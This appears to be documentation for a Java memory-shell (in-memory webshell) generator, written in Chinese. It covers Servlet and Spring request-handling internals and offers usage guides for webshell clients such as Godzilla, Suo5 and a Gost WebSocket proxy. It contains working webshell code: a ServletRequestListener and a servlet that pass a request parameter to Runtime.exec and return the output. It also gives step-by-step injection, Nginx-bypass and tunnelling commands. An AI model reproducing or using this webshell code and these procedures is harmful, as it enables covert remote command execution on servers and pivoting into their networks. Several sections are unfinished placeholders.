| javax.servlet.ServletContextAttributeListener    | 在 ServletContext 添加、移除或替换属性时    |
| javax.servlet.http.HttpSessionListener           | 在 HttpSession 创建和销毁时            |
| javax.servlet.http.HttpSessionAttributeListener  | 在 HttpSession 上添加、移除或替换属性       |
| javax.servlet.http.HttpSessionIdListener         | 在 HttpSession id 变化时            |
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时            |
| javax.servlet.http.HttpSessionBindingListener    | 在 HttpSession 上对象绑定或解绑时         |
| javax.servlet.ServletRequestListener             | 在 ServletRequest 在将要被 Web 容器处理时 |
| javax.servlet.ServletRequestAttributeListener    | 在 ServletRequest 上添加、移除或替换属性时   |
| javax.servlet.AsyncListener                      | 在异步操作开始、超时或完成时                  |

## ServletRequestListener [#servletrequestlistener]

在编写 shell 时我们需要关注的主要就是 ServletRequestListener，在请求处理之前可以在拿到请求信息并处理（在 Filter 以及 Servlet 之前），由于它作为事件监听器的一员，并没有直接结束请求的机制，因此在对响应体重写等操作结束之后，最后还是会走到 Filter 和 Servlet 的逻辑。

```java
public interface ServletRequestListener extends EventListener {
    public void requestDestroyed(ServletRequestEvent sre);

    /**
     * Receives notification that a ServletRequest is about to come
     * into scope of the web application.
     *
     * @param sre the ServletRequestEvent containing the ServletRequest
     * and the ServletContext representing the web application
     */
    public void requestInitialized(ServletRequestEvent sre);
}
```

以下时使用 ServletRequestListenerShell 命令回显的代码实现。

1. 由于此处只能拿到 ServletRequestEvent，其中只有 ServletRequest，但是一般中间件实现中，ServletRequest 中都会有能获取到 ServletResponse 的方法，因此额外新增了一个 getResponseFromRequest 方法。

```java
public class CommandListener implements ServletRequestListener {
    public static String paramName;

    public CommandListener() {
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
        try {
            String cmd = request.getParameter(paramName);
            if (cmd != null) {
                HttpServletResponse servletResponse = this.getResponseFromRequest(request);
                Process exec = Runtime.getRuntime().exec(cmd);
                InputStream inputStream = exec.getInputStream();
                ServletOutputStream outputStream = servletResponse.getOutputStream();
                byte[] buf = new byte[8192];
                int length;
                while ((length = inputStream.read(buf)) != -1) {
                    outputStream.write(buf, 0, length);
                }
            }
        } catch (Exception ignored) {
        }
    }

    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
        return null;
    }
}
```


# Servlet (/docs/servlet/servlet)



> [Servlet 3.1 规范 — 什么是 Servlet](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Overview/1.1%20What%20is%20a%20Servlet.md)

Servlet 是基于 Java 的 Web 组件，就是我们常说的 Web 接口，例如 /hello，JSP 技术也是 Java Servlet 规范的一部分，JSP 文件解析之后也会成为 Servlet 提供 HTTP 服务，只不过它的接口是 JSP 文件名，例如 /app/hello.jsp。
Servlet 规范中规定了，对于非分布式应用来说，Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例，但是 Web 服务是多线程的，所以 Servlet 是线程不安全的，在 Servlet 中的成员变量都是线程不安全的。

## HttpServlet [#httpservlet]

99.99% 的时候，我们实现 HttpServlet 抽象类给予我们的能力就可以了，以下每个方法都对应了 HTTP Method 方法，当我们想要实现处理 Get 请求实现 doGet，处理 Post 请求就实现 doPost。

```java
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
```

Servlet 规范中规定了，对于非分布式应用来说，Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例，但是 Web 服务是多线程的，所以 Servlet 是线程不安全的，在 Servlet 中的成员变量都是线程不安全的。

针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法，以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。

```java
@WebServlet(”/foo”)
public class CalculatorServlet extends HttpServlet{
//...
}
```

```xml
<servlet>
    <servlet-name>foo</servlet-name>
    <servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>foo</servlet-name>
    <url-pattern>/foo</url-pattern>
</servlet-mapping>
```

## ServletShell [#servletshell]

shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。

1. doGet 调用转发给 doPost，这样我们即支持 GET 也支持 POST，防止某些情况下有请求方法的限制。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。

```java
public class CommandServlet extends HttpServlet {
    public static String paramName;

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter(paramName);
        if (cmd != null) {
            Process exec = Runtime.getRuntime().exec(cmd);
            InputStream inputStream = exec.getInputStream();
            ServletOutputStream outputStream = response.getOutputStream();
            byte[] buf = new byte[8192];
            int length;
            while ((length = inputStream.read(buf)) != -1) {
                outputStream.write(buf, 0, length);
            }
        }
    }
}
```


# AntSword (/docs/shelltool/antsword)



WIP


# Behinder (/docs/shelltool/behinder)



WIP


# Command (/docs/shelltool/command)









## WebSocket 内存马 [#websocket-内存马]

<Steps>
  <Step>
    ### 选择 Command 并填写参数 [#选择-command-并填写参数]

        <img alt="command_ws.png" src="__img0" />
  </Step>

  <Step>
    ### 生成并注入 [#生成并注入]

    选取合适的打包方式，并进行内存马的注入。
  </Step>

  <Step>
    ### 使用 WebSocket 客户端尝试连接 [#使用-websocket-客户端尝试连接]

    我这里使用的是 [wscat](https://github.com/websockets/wscat) 工具，使用 npm 就能下载 `npm install -g wscat`。

    `/app` 是应用的路径，`/ws-cmd` 是上述生成时填的路径。

    ```bash
    ❯ wscat -c ws://127.0.0.1:8082/app/ws-cmd
    Connected (press CTRL+C to quit)
    > whoami
    < reajason

    >
    ```
  </Step>
</Steps>

## BypassNginxWebSocket 内存马 [#bypassnginxwebsocket-内存马]

<Steps>
  <Step>
    ### 选择 Command 并填写参数 [#选择-command-并填写参数-1]

        <img alt="command_bypass_ws.png" src="__img1" />
  </Step>

  <Step>
    ### 生成并注入 [#生成并注入-1]

    选取合适的打包方式，并进行内存马的注入。
  </Step>

  <Step>
    ### 使用 WebSocket 客户端尝试连接 [#使用-websocket-客户端尝试连接-1]

    我这里使用的是 [wscat](https://github.com/websockets/wscat) 工具，使用 npm 就能下载 `npm install -g wscat`。

    `/app` 是应用的路径，`/ws-bypass-cmd` 是上述生成时填的路径。

    我们可以先尝试直接连接，会返回 404 错误，因为 `/app/ws-bypass-cmd` 路径并不存在。

    ```bash
    ❯ wscat -c ws://127.0.0.1/app/ws-bypass-cmd
    error: Unexpected server response: 404
    > %
    ```

    紧接着我们加上 Header 的标识来进入我们设置好的 WsBypassValve 逻辑，连接成功！

    ```bash
    ❯ wscat -H "User-Agent: bypass" -c ws://127.0.0.1/app/ws-bypass-cmd
    Connected (press CTRL+C to quit)
    > whoami
    < root

    >
    ```
  </Step>
</Steps>


# Godzilla (/docs/shelltool/godzilla)

















<Callout type="info">
  项目地址：

  [https://github.com/BeichenDream/Godzilla](https://github.com/BeichenDream/Godzilla)
</Callout>

> 真正优秀的武器化平台，应当具备高度模块化与可插拔式体系结构，使所有核心组件均能够实现热插拔级的动态加载与替换；平台内核无需进行任何魔改或二次开发，即可通过标准化的扩展接口装载任意核心模块，从而在保证稳定性的前提下实现演进式扩展与能力快速迭代。以 CVE-2025-55182 为例，Godzilla 的核心能力均以插件形式实现完全解耦，涵盖有效载荷、加密器、功能插件以及流量传输信道等所有关键组件，并且均支持在运行态进行热加载与无缝替换。基于这一架构特性，我在仅用一天时间完成了 CVE-2025-55182 的利用链开发，并为 Godzilla 扩展了对 Node.js 语言的全量支持（覆盖所有核心能力模块），从工程实践层面验证了 Godzilla 框架在模块化设计、扩展性和快速适配能力方面的卓越架构优势。 —— [@BeichenDream](https://github.com/BeichenDream)

## 使用步骤 [#使用步骤]

<Steps>
  <Step>
    ### 选择 Godzilla 内存马工具 [#选择-godzilla-内存马工具]

    由于 Godzilla 的超强兼容性，使得其能修改服务端代码适配各种各样的环境，因此 Godzilla 是默认首选的内存马工具。

        <img alt="godzilla_tool_select.png" src="__img0" />
  </Step>

  <Step>
    ### 设置密码与密钥以及流量入口特征 [#设置密码与密钥以及流量入口特征]

    1. 密码与密钥是 Godzilla 连接客户端所需要的两个参数，用于通信加密和流量随机特征 key，默认不填会随机生成。
    2. 为了防止正常业务进入 Godzilla 内存马影响到正常业务，需要指定流量特征进入 Godzilla 内存马逻辑处理，此处使用特定请求头和请求值来标识，默认情况下是 User-Agent，请求值会随机生成

        <img alt="godzilla_config" src="__img1" />
  </Step>

  <Step>
    ### 生成并注入 [#生成并注入]

    选取合适的打包方式，并进行内存马的注入。
  </Step>

  <Step>
    ### 使用客户端尝试连接 [#使用客户端尝试连接]

    1. 填写密码和密钥，并选择 JavaDynamicPayload 中的 JAVA\_AES\_BASE64 加密器。
    2. 在请求配置处配置流量入口特征生成的特征值
    3. 点击测试连接尝试连接，连接成功即可点击添加到 shell 管理界面

        <img alt="godzilla_client" src="__img2" />
  </Step>
</Steps>

## Godzilla WebSocket 马支持 [#godzilla-websocket-马支持]

<Steps>
  <Step>
    ### 生成 WebSocket 马 [#生成-websocket-马]

    目前仅支持 Tomcat，当选中 Tomcat Godzilla，可以在内存马挂载类型处选择 WebSocket 内存马

        <img alt="godzilla_websocket" src="__img3" />
  </Step>

  <Step>
    ### 下载并装载插件 [#下载并装载插件]

    下载链接：[https://github.com/xsshim/GzWebsocket/blob/main/plugins/GzWebsocket.jar?raw=true](https://github.com/xsshim/GzWebsocket/blob/main/plugins/GzWebsocket.jar?raw=true)

    在哥斯拉主界面，菜单栏找到配置 -> 插件配置，添加加上下载下来的 GzWebSocket.jar，插件兼容性较差，仅支持 JDK8 启动 Godzilla 才可使用。
  </Step>

  <Step>
    ### 使用客户端尝试连接 [#使用客户端尝试连接-1]

    1. URL 需要注意使用 `ws://` 协议头，由于 ws 没有请求头那些东西，因此请求配置不需要额外配置请求头
    2. 有效载荷在装载完上续 GzWebSocket.jar 插件后，会出现 JavaWebSocket 选择 Java\_WebSocket\_Aes\_Raw 加密器即可尝试连接。

        <img alt="godzilla_client_ws" src="__img4" />

    如果你是用是哥斯拉特战版，需要注意请求地址不要写 path 只写 ip:host，密码处填 path 即 `/app/g-ws`

        <img alt="godzilla_client_ws_1" src="__img5" />
  </Step>
</Steps>


# Neo-ReGeorg (/docs/shelltool/neoregeorg)



WIP


# Proxy (/docs/shelltool/proxy)









参考地址：[https://github.com/veo/wsMemShell/blob/main/static/websocketproxy.md](https://github.com/veo/wsMemShell/blob/main/static/websocketproxy.md)

## WebSocket 内存马 [#websocket-内存马]

<Steps>
  <Step>
    ### 选择 Proxy [#选择-proxy]

        <img alt="proxy_ws.png" src="__img0" />
  </Step>

  <Step>
    ### 生成并注入 [#生成并注入]

    选取合适的打包方式，并进行内存马的注入。
  </Step>

  <Step>
    ### 使用 Gost 客户端尝试启动代理 [#使用-gost-客户端尝试启动代理]

    [https://github.com/go-gost/gost](https://github.com/go-gost/gost)

    ```bash
    ❯ ./gost -L :1080 -F "ws://127.0.0.1:8082?path=/app/proxy"
    {"handler":"auto","kind":"service","level":"info","listener":"tcp","msg":"listening on [::]:1080/tcp","service":"service-0","time":"2026-01-16T23:15:55.143+08:00"}
    ```

    尝试使用 curl 命令使用代理访问百度

    ```bash
    > curl -x socks5h://127.0.0.1:1080 https://www.baidu.com
    ```
  </Step>
</Steps>

## BypassNginxWebSocket 内存马 [#bypassnginxwebsocket-内存马]

<Steps>
  <Step>
    ### 选择 Proxy 并填写参数 [#选择-proxy-并填写参数]

        <img alt="proxy_bypass_ws.png" src="__img1" />
  </Step>

  <Step>
    ### 生成并注入 [#生成并注入-1]

    选取合适的打包方式，并进行内存马的注入。
  </Step>

  <Step>
    ### 使用 Gost 客户端尝试启动代理 [#使用-gost-客户端尝试启动代理-1]

    [https://github.com/go-gost/gost](https://github.com/go-gost/gost)

    由于 Gost 自定义请求头只能通过配置文件实现，因此创建一个 `gost.yaml`

    ```yaml
    services:
      - name: service-0
        addr: :1080
        handler:
          type: auto
        listener:
          type: tcp
        chain: chain-0

    chains:
      - name: chain-0
        hops:
          - name: hop-ws
            nodes:
              - name: ws-tunnel
                addr: 127.0.0.1:80 # 此处填写目标地址，我是用 Nginx 反代所以是 80 端口
                connector:
                  type: http
                dialer:
                  type: ws
                metadata:
                  path: /app/bypass-proxy # 此处填写 WebSocket 路径
                  header:
                    User-Agent: "test" # 此处填写自定义请求头
    ```

    ```bash
    ❯ ./gost -C gost.yaml
    {"handler":"auto","kind":"service","level":"info","listener":"tcp","msg":"listening on [::]:1080/tcp","service":"service-0","time":"2026-01-16T23:30:04.927+08:00"}
    ```

    尝试使用 curl 命令使用代理访问百度

    ```bash
    > curl -x socks5h://127.0.0.1:1080 https://www.baidu.com
    ```
  </Step>
</Steps>


# Suo5 (/docs/shelltool/suo5)











<Callout type="info">
  项目地址：

  [https://github.com/zema1/suo5](https://github.com/zema1/suo5)
</Callout>

<Callout type="success">
  原理介绍：[https://koalr.me/posts/suo5-a-hign-performace-http-socks/](https://web.archive.org/web/20250430113018/https://koalr.me/posts/suo5-a-hign-performace-http-socks/)
</Callout>

<img alt="experience" src="__img0" />

## 主要特性 [#主要特性]

* **优异的传输性能**
  * 全双工：借助双向 Chunked-Encoding 实现单连接双向通信，传输性能接近 FRP
  * 半双工：下行长连接 + 上行短连接实现，在 Nginx 反代场景下仍可保持良好性能
  * 短链接：上下行均使用短连接，适配多层反代和严格限制长连接的场景，作为兜底方案
* **复杂网络环境支持**
  * 支持一层、两层、多层反向代理下的稳定连接
  * 支持通过流量转发和请求重试来支持负载均衡场景
  * 支持配置上游代理（HTTP/SOCKS5）
* **稳定可靠的工程实现**
  * 正确可靠的连接控制、并发管理、心跳保活、异常重连等
  * 完善的单元测试和集成测试保障质量

## 使用步骤 [#使用步骤]

<Steps>
  <Step>
    ### 选择 Suo5/Suo5v2 内存马工具 [#选择-suo5suo5v2-内存马工具]

    Suo5 目前有 [1.x](https://github.com/zema1/suo5/releases/tag/v1.3.1) 版本和 [2.x](https://github.com/zema1/suo5/releases/tag/v2.0.0) 版本，由于改动较大，因此做了两个不同的版本适配。

        <img alt="suo5_tool_select" src="__img1" />
  </Step>

  <Step>
    ### 设置流量入口特征 [#设置流量入口特征]

    为了防止正常业务进入 Suo5 内存马影响到正常业务，需要指定流量特征进入 Suo5 内存马逻辑处理，此处使用特定请求头和请求值来标识，默认情况下是 User-Agent，请求值会随机生成

        <img alt="suo5_config" src="__img2" />
  </Step>

  <Step>
    ### 生成并注入 [#生成并注入]

    选取合适的打包方式，并进行内存马的注入。
  </Step>

  <Step>
    ### 连接与使用 [#连接与使用]

    在 [zema1/suo5/releases](https://github.com/zema1/suo5/releases) 下载合适的 suo5 客户端

    1. 如果请求头使用默认的 User-Agent，则直接通过 `--ua "xXksjas"` 来指定即可，假设生成的为 `User-Agent: xXksjas`，则通过以下命令进行连接

    ```bash
    $ ./suo5 -t http://target.com/suo5.jsp --ua "xXksjas"
    ...
    [INFO] 14:28 connecting to target http://target.com/suo5.jsp
    [INFO] 14:28 preferred connection mode: half
    [INFO] 14:28 handshake success, using session id 05q21upecl90yccl
    [INFO] 14:28 suo5 is going to work on half mode
    [INFO] 14:28 starting tunnel at 127.0.0.1:1111
    [INFO] 14:28 creating a test connection to the remote target
    [INFO] 14:28 start connection to 127.0.0.1:0
    [INFO] 14:28 successfully connected to 127.0.0.1:0
    [INFO] 14:28 connection closed, 127.0.0.1:0
    [INFO] 14:28 congratulations! everything works fine
    ```

    2. 如果请求头使用其他，例如 Referer，则需要使用 `-H "Referer: xXksjas"` 来连接，例如

    ```bash
    $ ./suo5 -t http://target.com/suo5.jsp -H "Referer: xXksjas"
    ...
    [INFO] 14:28 connecting to target http://target.com/suo5.jsp
    [INFO] 14:28 preferred connection mode: half
    [INFO] 14:28 handshake success, using session id 05q21upecl90yccl
    [INFO] 14:28 suo5 is going to work on half mode
    [INFO] 14:28 starting tunnel at 127.0.0.1:1111
    [INFO] 14:28 creating a test connection to the remote target
    [INFO] 14:28 start connection to 127.0.0.1:0
    [INFO] 14:28 successfully connected to 127.0.0.1:0
    [INFO] 14:28 connection closed, 127.0.0.1:0
    [INFO] 14:28 congratulations! everything works fine
    ```

    3. 后续的用法可参考官方仓库给出的 [Suo5 使用指南](https://github.com/zema1/suo5#%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97)
  </Step>
</Steps>


# WebMVC Controller (/docs/springweb/controller)







## HandlerMapping [#handlermapping]

[前面](/docs/springweb#spring-webmvc) 我们有说 WebMVC Controller 控制器实际上就是 Handler，并且由 HandlerMapping 管理着。我们在 getHandler 打断点看一下我们常用的 Spring Boot2 中所拥有的 HandlerMapping 有哪些。

<img alt="spring-handler-mappings" src="__img0" />

1. **org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping**：为使用 @Controller 和 @RequestMapping 类和方法创建 HandlerMethod。
2. **org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping**：将 beanName 以 `/` 开头的 bean 注册为 Handler。
3. **org.springframework.web.servlet.function.support.RouterFunctionMapping**：收集 RouterFunction bean 组合成为 Handler。
4. **org.springframework.web.servlet.handler.SimpleUrlHandlerMapping**：传入 url 与 handler 映射的 map 组成 HandlerMapping。
5. **org.springframework.boot.autoconfigure.web.servlet.WelcomePageHandlerMapping**：访问 / 转发到 index.html，因此 /index.html 为欢迎页面。

优先级从高往低，从前往后只要获取到能处理当前 request 的 Handler 即返回，所以如果在后面的 HandlerMapping 定义需要确保不能与前面 HandlerMapping 重复。

HandlerMapping 里面决定了我们 Handler 应该如何注册进去的核心逻辑，但是 Handler 该如何编写，由 HandlerAdapter 说了算。

## HandlerAdapter [#handleradapter]

同样以最常见的 Spring Boot2 为例，在 getHandlerAdapter 打断点，看一下当前支持哪些 HandlerAdapter。

<img alt="spring-handler-adapter" src="__img1" />

1. **org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter**：需要 handler 为 org.springframework.web.method.HandlerMethod 实例。
2. **org.springframework.web.servlet.function.support.HandlerFunctionAdapter**：需要 handler 继承 org.springframework.web.servlet.function.HandlerFunction。
3. **org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter**：需要 handler 继承 org.springframework.web.HttpRequestHandler。
4. **org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter**：需要 handler 继承 org.springframework.web.servlet.mvc.Controller。


# WebFlux HandlerFunction (/docs/springweb/handler-function)



WIP


# WebFlux HandlerMethod (/docs/springweb/handler-method)



WIP


# Spring Web 框架内存马 (/docs/springweb)



在 Java 企业级开发生态中，使用最为广泛的当属 Spring 全家桶，从 SSH（Spring + SpringWebMVC + Hibernate）到 SSM（Spring + SpringWebMVC + MyBatis），XML 配置文件到注解配置方式，最后 Spring Boot 以其自动装配原理，可零配置装配各种 Spring 生态得以广泛使用。
Spring Web 框架中不仅提供了传统的 SpringWebMVC 还提供了异步编程模型的 SpringWebFlux，基于 Netty 开发的 Reactor，常见的 Spring Boot Web 使用的是 SpringWebMVC，而 Spring Gateway（Spring Cloud）则使用的是 SpringWebFlux。

SpringWebMVC 衍生出来的内存马有 Interceptor、Controller、HandlerMethod、HandlerFunction 等等
SpirngWebFlux 衍生出来的内存马有 WebFilter、HandlerMethod、HandlerFunction、NettyHandler 等等。

## Spring 框架 [#spring-框架]

Java 是一门面向对象语言，需要对象我们就 new 一个，对于一个 Java 大型项目来说一般充斥着成百上千的类，为了提高项目的可维护性，出现了大量 [准则](https://java-design-patterns.com/principles/) 和 [设计模式](https://java-design-patterns.com/patterns/) ，其中单一职责原则是亘古不变的道理也是最难遵守的。
为了遵守单一职责原则，我们会把同一职责的函数放在一个类中，并在业务类中组合各种类实现功能，久而久之我们业务类可能依赖了超多其他功能类，如果业务没有组织良好，一时半会可能难以发现其依赖关系，例如：

```java
public class A {
    public void f1(){
        // so many code in here
        A2 a2 = new A2();
        // do
        // so many code in here
        A4 a4 = new A4();
        // do
    }

    public void f2(){
        // so many code in here
        B1 b1 = new B1();
        // do something

        // so many code in here
        B6 b6 = new B6();
        // do something
    }
}
```

因此出现一种设计模式叫作 [依赖注入（Dependency Injection，简称 DI）](https://zh.wikipedia.org/zh-cn/%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5)，通过依赖注入实现了 [控制反转（Inversion of Control，缩写为 IoC）](https://zh.wikipedia.org/wiki/%E6%8E%A7%E5%88%B6%E5%8F%8D%E8%BD%AC)，Spring 框架正是一款依赖注入的框架，用户不再关心对象的创建，而是需要什么就注入什么，这样既解耦（接口方式传入不同实现类）也方便对类进行测试（传入 mock 类），例如：

```java
public class A {
    private A2 a2;
    private A4 a4;
    private B1 b1;
    private B6 b6;

    // 通过构造方式注入
    public A(A2 a2, A4, a4, B1 b1, B6 b6) {
        this.a2 = a2;
        this.a4 = a4;
        this.b1 = b1;
        this.b6 = b6;
    }

    public void f1(){
        // so many code in here
        this.a2.do();
        // do
        // so many code in here
        this.a2.do();
        // do
    }

    public void f2(){
        // so many code in here
        this.b1.do();
        // do something

        // so many code in here
        this.b6.do();
        // do something
    }
}
```

org.springframework.beans 和 org.springframework.context 包是 Spring Framework 的 IoC 容器的基础。BeanFactory 接口提供了一种高级配置机制，能够管理任何类型的对象。
org.springframework.aop 提供了 Spring 自己定义的 AOP 概念整合 AspectJ 对 Bean 进行增强，使得我们能面向切面编程，例如事务、日志、安全等等。

ApplicationContext 是 BeanFactory 的子接口。在漏洞注入中我们常用的是 org.springframework.context.support.ClassPathXmlApplicationContext，解析 XML bean 配置，
而后来 Spring 提供了基于注解的 bean 配置方式，也是目前最常用的，使用的是 org.springframework.context.annotation.AnnotationConfigApplicationContext。因此在 Spring 应用中我们只要想法设法拿到 ApplicationContext 我们就能手动管理业务中几乎所有的 Java 对象。

## Spring Web 框架 [#spring-web-框架]

### Spring WebMVC [#spring-webmvc]

> [官方文档 - Spring Web MVC](https://docs.spring.io/spring-framework/reference/web/webmvc.html)

Spirng WebMVC 对 Java Servlet 规范进行封装实现 MVC 架构，可以部署在任意实现 Java Servlet 规范的容器上。

通过 org.springframework.web.servlet.DispatcherServlet 配置 `/*` 的 urlPattern，实现接管业务访问入口，让所有流量进入 Spring WebMVC 框架。其中最重要的方法是 `doDispatcher`，可以从中窥视 Spring WebMVC 处理请求的主流程。

```java
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
    HttpServletRequest processedRequest = request;
    HandlerExecutionChain mappedHandler = null;

    try {
        ModelAndView mv = null;
        Exception dispatchException = null;

        try {
            // 通过 HandlerMapping 获取 Handler
            mappedHandler = getHandler(processedRequest);
            if (mappedHandler == null || mappedHandler.getHandler() == null) {
                noHandlerFound(processedRequest, response);
                return;
            }

            // Handler 可以五花八门，为了接口统一会转换成对应的 HandlerAdapter
            HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());

            // 执行 Interceptor preHandler 方法，判断是否还需要继续执行
            if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                return;
            }

            // 处理 Handler 中的逻辑，也就是 Controller 中的具体业务代码
            mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

            // 执行 Interceptor postHandler 方法
            mappedHandler.applyPostHandle(processedRequest, response, mv);
        }
        catch (Exception ex) {
            dispatchException = ex;
        }
        catch (Throwable err) {
            // ...
        }

        // 对返回的 ModelAndView 进行封装转为响应流放回给用户
        processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
    }
    catch (Exception ex) {
        triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
    }
    catch (Throwable err) {
        triggerAfterCompletion(processedRequest, response, mappedHandler,
                new NestedServletException("Handler processing failed", err));
    }
    finally {
        // ...
    }
}

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
    // 遍历 handlerMappings，查看有没有能处理当前 request 的 handler。
    for (HandlerMapping hm : this.handlerMappings) {
        HandlerExecutionChain handler = hm.getHandler(request);
        if (handler != null) {
            return handler;
        }
    }
    return null;
}
```

所谓 MVC 中的 C 控制器在 Spring WebMVC 实际上是 Handler，并且由 HandlerMapping 管理。但是最终调用 Handler 哪个方法是由 HandelrAdapter 来决定的。

我们最常注入的就是 Controller 内存马和 Interceptor 内存马。参考 [SpringWeb 内存马变型 - 银针安全](https://mp.weixin.qq.com/s/aWTcq3690F3CmGGo4A-a0w) 也可以实现其他内存马。

<Cards>
  <Card href="/docs/springweb/controller" title="Controller 内存马">
    控制器，创建独特的 entrypoint 访问路径
  </Card>

  <Card href="/docs/springweb/interceptor" title="Interceptor 内存马">
    拦截器，命中 webshell 逻辑中断请求
  </Card>
</Cards>

### Spring WebFlux [#spring-webflux]

> [官方文档 - Spring WebFlux](https://docs.spring.io/spring-framework/reference/web/webflux.html)

Spring WebFlux 使用 Reactive Streams 响应式异步非阻塞模型，相较于 Servlet API 阻塞模式，异步非阻塞模型能使用更少的资源提供更高的并发量，默认使用的 Netty 提供 HTTP 服务。

处理请求的核心类为 org.springframework.web.reactive.DispatcherHandler，其中最重要的方法是 `handle` 方法：

```java
@Override
public Mono<Void> handle(ServerWebExchange exchange) {
    if (this.handlerMappings == null) {
        return createNotFoundError();
    }
    if (CorsUtils.isPreFlightRequest(exchange.getRequest())) {
        return handlePreFlight(exchange);
    }
    return Flux.fromIterable(this.handlerMappings)
            .concatMap(mapping -> mapping.getHandler(exchange))
            .next()
            .switchIfEmpty(createNotFoundError())
            .flatMap(handler -> invokeHandler(exchange, handler))
            .flatMap(result -> handleResult(exchange, result));
}
```

和 Spring WebMVC 类似，也是通过遍历 HandlerMapping 找到合适 Handler 进行请求处理。

WebFlux 中同样可以使用 `@Controller` 和 `@RequestMapping`，因此也有 Controller 内存马，不过根据实现原理通常叫作 HandlerMethod，而 WebFlux 有个特殊的 RouterFunction 定义路由的方式叫作 HandlerFunction。WebFlux 框架内为了对请求实现过滤的效果，也设有 WebFilter 组件。
当然底层使用的 Netty 提供的 HTTP 服务，因此也有 Netty Handler 马可以打，所以 WebFlux 常见的内存马就是 WebFilter、HandlerMethod、HandlerFunction 和 NettyHandler 马。

<Cards>
  <Card href="/docs/springweb/webfilter" title="WebFilter 内存马">
    过滤器，总是需要一种方式对所有进入的请求进行处理
  </Card>

  <Card href="/docs/springweb/handler-method" title="HandlerMethod 内存马">
    @RequestMapping，WebMVC 式创建路由的方式
  </Card>

  <Card href="/docs/springweb/handler-function" title="HandlerFunction 内存马">
    RouterFunction，函数式路由声明方式
  </Card>

  <Card href="/docs/springweb/netty-handler" title="Netty Handler 内存马">
    Netty Handler API 允许处理 request 和 response
  </Card>
</Cards>


# WebMVC Interceptor (/docs/springweb/interceptor)



WIP


# WebFlux Netty Handler (/docs/springweb/netty-handler)



WIP


# WebFlux WebFilter (/docs/springweb/webfilter)



hello


# 项目结构 (/docs/structure)



hello


# Struts2 框架内存马 (/docs/struts2-shell)



## Action 内存马 [#action-内存马]


# Java 回显马介绍 (/docs/what-is-probeshell)

